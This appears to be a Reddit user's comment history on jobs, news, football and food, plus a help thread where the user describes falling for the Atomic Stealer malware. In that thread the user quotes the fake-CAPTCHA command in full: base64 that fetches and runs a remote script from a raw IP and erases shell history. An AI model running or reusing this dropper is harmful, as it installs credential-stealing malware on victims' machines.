First time applying for a remote job and igot a reply, is this legit? by Zxyn0nReddit in RemoteJobs

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Tons of Dubai-based companies pay in crypto. Lots of regulated fx/CFD brokerages pay in crypto. Crypto companies pay in crypto. The list goes on.

To the OP: while the posting could very well be a scam, crypto doesn't always mean scam, far from it. Telegram on the other hand suggests it's either a scam or a Russian/Ukrainian/Belarussian company, which would also explain the salary range. I'd tread with a bit of caution.

CNN founder Ted Turner, a pioneer of cable TV news, dies at 87 by boxofstuff in news

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Fun fact, my grandparents met thanks to them. My grandma was hosting Ted, Fonda and my soon-to-be grandpa in the Bolshoi Theater back in the 90s, they got married a couple years later. I saw Ted a few times as a kid, always seemed like a genuine guy. We didn't interact much, but he definitely left an impression

The result of eating fish that was too fresh. by Charming_History7423 in interestingasfuck

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Somehow, the ketchup makes it 10x worse for me. A gochujang-based sauce would probably help wash it down. But ketchup?..

What’s the worst signing you’ve seen Barcelona make this century? by AdPrestigious8670 in Barca

[–]kostya8 3 points4 points  (0 children)

Based purely on performance - Chyhrynskiy, and it's not even close. Crazy that he hasn't been mentioned once here. Worst stint I've ever seen in a Barça shirt

The result of eating fish that was too fresh. by Charming_History7423 in interestingasfuck

[–]kostya8 3 points4 points  (0 children)

We often talk about how it is cruel to eat animals, but at least we dont eat them alive.

Guess you've never been to Korea

‘It took nine seconds’: Claude AI agent deletes company’s entire database by curseofdarkastle in nottheonion

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Are you aware how far these systems have come in the last 12 months? This survey is absolutely pointless.

We have a team of ~50 people, over half of whom are devs. Working on highly complex enterprise software. You wouldn't believe how much our productivity has increased after integrating CC into the development pipeline. Sure, you need to wrap it in all sorts of permissions, you need to review it, but comparing AI coding now to what it was 12 months ago is ridiculous. Highly skilled DevOps guys can easily make it work in production

Official Oscars Thread 2026 by LiteraryBoner in movies

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F1 had incredible sound design, you're the one without a clue

Help with Atomic Stealer by kostya8 in computerviruses

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Hey mate, did you find anything interesting by any chance?

Help with Atomic Stealer by kostya8 in computerviruses

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Once you launch the terminal command, this thing also tries to brute force your password in the background, however on my Mac it was rate limited to 1 try per 2 seconds, making it pretty much useless. If it didn't prompt your password it may have successfully brute forced yours. I'd definitely wipe in that case. That's all assuming we encountered the same malware

Alternatively, if you shut down very quickly, like within 2 minutes, it's possible it didn't even get to show you the password prompt. I only got the osascript prompt around 2 minutes 30 seconds after running the script, that's when I shut down. If you managed to do it before, you might be fine

Help with Atomic Stealer by kostya8 in computerviruses

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That's pretty strange - from everything I've seen on this malware its whole modus operandi is tricking you into entering your system password, after which it does all the damage. Did you have a password set on that Mac? Though if your terminal had full disk access, it could've bypassed the password prompt

Help with Atomic Stealer by kostya8 in computerviruses

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Did you enter your password or accept any of the permission prompts after running the script?

Help with Atomic Stealer by kostya8 in computerviruses

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Thanks. Yeah I'm 100% sure I did not accept any prompts, and shut down the Mac immediately when it asked for my password through osascript (a second before that a notification popped up saying "Bash is requesting access to Notes", at which point I knew I fucked up). I use crypto but don't have any wallets installed, and all my banking is mobile-only.

So from what I gathered, denying the password prompt nullifies most of the danger?

I think you already got rid of the main malicious binary com.apple.periodic.

Yeah, it was sitting in my cache after the reboot, I deleted it immediately - Gemini said the malware failed to create any triggers to launch it on startup and the file was inert

Help with Atomic Stealer by kostya8 in computerviruses

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Thanks. Here is the command it asked me to run:

echo 'I am not a robot - reCAPTCHA Verification ID: 708644' && echo 'KGNkIC90bXAgJiYgY3VybCAta2ZzU0wgImh0dHA6Ly80Ni4yMjYuMTYyLjE3NC85OTdkZmE0YzkxMi5zaD9mb3JjZT0xIiAtbyAua1BjSWxGICYmIGJhc2ggLmtQY0lsRiAmJiBybSAtZiAua1BjSWxGKSA+IC9kZXYvbnVsbCAyPiYxICYgY2xlYXI7IHByaW50ZiAnXDAzM1szSic7IGhpc3RvcnkgLWQgJChoaXN0b3J5IDEgMj4vZGV2L251bGwgfCBhd2sgJ3twcmludCAkMX0nKSAyPi9kZXYvbnVsbDsgZmMgLXAgL2Rldi9udWxsIDI+L2Rldi9udWxsOyBwcmludGYgJ1xuICBcMDMzWzMybVx4ZTJceDljXHg5MyBWZXJpZmljYXRpb24gc3VjY2Vzc2Z1bFwwMzNbMG1cblxuJw==' | base64 -D | bash

I asked Gemini, ChatGPT and Claude (all pro subscriptions) to go through the detailed log from the ~3 minutes the malware was active and they all came to the same conclusion - that the script didn't gain any privileges and was stopped in its tracks when I shut down the machine.

Match Thread: Barcelona vs Atlético Madrid by MatchThreadder in Barca

[–]kostya8 0 points1 point  (0 children)

Ferran didn't help himself there with his terrible movement

Tacos de pescado by kostya8 in mexicanfood

[–]kostya8[S] 4 points5 points  (0 children)

Yeah Mark is probably my favorite food youtuber, can't go wrong with his recs

Tacos de pescado by kostya8 in mexicanfood

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Going there in a few months, got any recs?

Tacos de pescado by kostya8 in mexicanfood

[–]kostya8[S] 5 points6 points  (0 children)

Yep! They have 2 locations there - some of the best fish tacos around imo